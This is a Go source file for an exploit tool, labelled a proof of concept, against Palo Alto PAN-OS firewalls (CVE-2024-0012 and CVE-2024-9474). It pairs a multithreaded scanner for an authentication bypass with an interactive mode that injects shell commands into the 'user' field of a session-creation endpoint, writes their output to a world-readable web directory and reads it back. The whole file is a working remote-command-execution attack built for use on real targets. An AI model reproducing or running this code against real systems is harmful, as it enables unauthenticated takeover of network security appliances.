package main

import (
	"bufio"
	"crypto/tls"
	"fmt"
	"io"
	"math/rand"
	"net/http"
	"net/http/httputil"
	"os"
	"regexp"
	"strings"
	"sync"
	"time"

	"github.com/cheggaaa/pb/v3"
	"github.com/gookit/color"
	"github.com/manifoldco/promptui"
	"github.com/p0dalirius/goopts/parser"
)

var (
	baseURL   string
	filePath  string
	output    string
	threads   int
	urls      []string
	outputMtx sync.Mutex
)

type ExploitClient struct {
	client  *http.Client
	headers map[string]string
}

func (ec *ExploitClient) newRequest(method, url, payload string) (*http.Request, error) {
	var body io.Reader
	if payload != "" {
		body = strings.NewReader(payload)
	}

	req, err := http.NewRequest(method, url, body)
	if err != nil {
		return nil, err
	}

	for key, value := range ec.headers {
		req.Header.Set(key, value)
	}

	return req, nil
}

func init() {
	rand.Seed(time.Now().UnixNano())
}

func printOverBar(msg string) {
	fmt.Printf("\r\033[K%s\n", msg)
}

func parseArgs() {
	ap := parser.ArgumentsParser{
		Banner: color.Cyan.Sprintf("Palo Alto PAN-OS Exploit PoC - CVE-2024-0012 & CVE-2024-9474"),
	}

	ap.NewStringArgument(&baseURL, "-u", "--url", "", false, "Target base URL (e.g., http://example.com).")
	ap.NewIntArgument(&threads, "-t", "--threads", 200, false, "Concurrent threads.")

	ap.NewStringArgument(&filePath, "-f", "--file", "", false, "File with multiple URLs.")
	ap.NewStringArgument(&output, "-o", "--output", "output.txt", false, "Output file for scan results.")

	ap.Parse()

	if filePath != "" && baseURL != "" {
		color.Error.Println("[error] Cannot use both Scan Mode and Exploit Mode at the same time.")
		os.Exit(1)
	}

	if filePath == "" && baseURL == "" {
		color.Error.Println("[error] Must specify either Scan Mode (--file) or Exploit Mode (--url).")
		os.Exit(1)
	}
}

func saveToFile(data string) {
	outputMtx.Lock()
	defer outputMtx.Unlock()
	file, err := os.OpenFile(output, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		color.Error.Println("[error] Could not save to file:", err)
		return
	}
	defer file.Close()
	file.WriteString(data)
}

func scanModeFunc(url string, bar *pb.ProgressBar, ec *ExploitClient) {
	defer bar.Increment()

	fullURL := fmt.Sprintf("%s/php/ztp_gate.php/.js.map", url)
	req, _ := ec.newRequest("GET", fullURL, "")

	resp, err := ec.client.Do(req)
	if err != nil {
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode == 200 {
		body, err := io.ReadAll(resp.Body)
		if err != nil {
			return
		}

		if strings.Contains(string(body), "Zero Touch Provisioning") {
			saveToFile(fmt.Sprintf("%s - Auth Bypass successful\n", url))
			printOverBar(fmt.Sprintf("[+] %s - Auth Bypass successful", url))
		}
	}
}

func createCustomProgressBar(total int) *pb.ProgressBar {
	bar := pb.New(total)
	bar.SetTemplate(pb.ProgressBarTemplate(`{{ red "Progress:" }} {{ bar . "[" "#" "-" ">" }} {{percent .}} {{counters .}}`))
	bar.SetRefreshRate(200 * time.Millisecond)
	bar.SetWriter(os.Stderr)
	bar.Start()
	return bar
}

func exploitModeFunc(url string, ec *ExploitClient) {
	outputName := fmt.Sprintf("%d.txt", rand.Intn(10000))

	for {
		prompt := promptui.Prompt{
			Label: "#",
		}

		cmd, err := prompt.Run()
		if err != nil {
			fmt.Printf("[-] %s: Failed to read command: %s\n", url, err)
			continue
		}

		cmd = strings.TrimSpace(cmd)

		if cmd == "exit" {
			fmt.Println("[+] Exiting interactive shell.")
			break
		}

		payload := fmt.Sprintf("user=`echo $(%s) > /var/appweb/htdocs/unauth/%s`&userRole=superuser&remoteHost=&vsys=vsys1", cmd, outputName)

		fullURL := fmt.Sprintf("%s/php/utils/createRemoteAppwebSession.php/peppa.js.map", url)
		req, err := ec.newRequest("POST", fullURL, payload)
		if err != nil {
			fmt.Printf("[-] %s: Failed to create request: %s\n", url, err)
			continue
		}

		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

		dump, err := httputil.DumpRequestOut(req, true)
		if err == nil {
			fmt.Printf("[+] %s - Raw Request:\n%s\n", url, string(dump))
		}

		resp, err := ec.client.Do(req)
		if err != nil {
			fmt.Printf("[-] %s: %s\n", url, err)
			continue
		}
		defer resp.Body.Close()

		body, _ := io.ReadAll(resp.Body)
		responseBody := string(body)
		fmt.Printf("[+] %s - Response Body:\n%s\n", url, responseBody)

		var phpsessid string
		re := regexp.MustCompile("@start@PHPSESSID=([a-zA-Z0-9]+)@end@")
		matches := re.FindStringSubmatch(responseBody)
		if len(matches) == 2 {
			phpsessid = matches[1]
		}

		if phpsessid != "" {
			indexURL := fmt.Sprintf("%s/index.php/.js.map", url)
			indexReq, err := ec.newRequest("GET", indexURL, "")
			if err != nil {
				fmt.Printf("[-] %s: Failed to create index.php request: %s\n", url, err)
				continue
			}
			indexReq.Header.Set("Cookie", fmt.Sprintf("PHPSESSID=%s", phpsessid))
			indexReq.Header.Set("Connection", "keep-alive")

			indexResp, err := ec.client.Do(indexReq)
			if err != nil {
				fmt.Printf("[-] %s: %s\n", url, err)
				continue
			}
			defer indexResp.Body.Close()
		}

		outputURL := fmt.Sprintf("%s/unauth/%s", url, outputName)
		outputReq, err := ec.newRequest("GET", outputURL, "")
		if err != nil {
			fmt.Printf("[-] %s: Failed to create output request: %s\n", url, err)
			continue
		}

		outputResp, err := ec.client.Do(outputReq)
		if err != nil {
			fmt.Printf("[-] %s: %s\n", url, err)
			continue
		}
		defer outputResp.Body.Close()

		if outputResp.StatusCode == 200 {
			outputBody, _ := io.ReadAll(outputResp.Body)
			outputBodyStr := string(outputBody)
			fmt.Printf("[+] %s - Command Output:\n%s\n", url, outputBodyStr)
		} else {
			fmt.Printf("[-] %s - Failed to retrieve command output with status code: %d\n", url, outputResp.StatusCode)
		}
	}
}

func main() {
	parseArgs()

	if filePath != "" {
		file, err := os.Open(filePath)
		if err != nil {
			color.Error.Println("[error] Failed to open file:", err)
			os.Exit(1)
		}
		defer file.Close()

		scanner := bufio.NewScanner(file)
		for scanner.Scan() {
			urls = append(urls, strings.TrimSpace(scanner.Text()))
		}
	} else {
		urls = append(urls, baseURL)
	}

	client := &http.Client{
		Timeout: 10 * time.Second,
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}
	ec := &ExploitClient{
		client: client,
		headers: map[string]string{
			"User-Agent":      "PEPPA PIG",
			"X-PAN-AUTHCHECK": "off",
		},
	}

	if len(urls) > 1 {
		bar := createCustomProgressBar(len(urls))
		var wg sync.WaitGroup

		for _, url := range urls {
			wg.Add(1)
			go func(url string) {
				defer wg.Done()
				scanModeFunc(url, bar, ec)
			}(url)
		}

		wg.Wait()
		bar.Finish()
		color.Success.Printf("[+] Results saved to %s\n", output)
	} else {
		exploitModeFunc(baseURL, ec)
	}
}
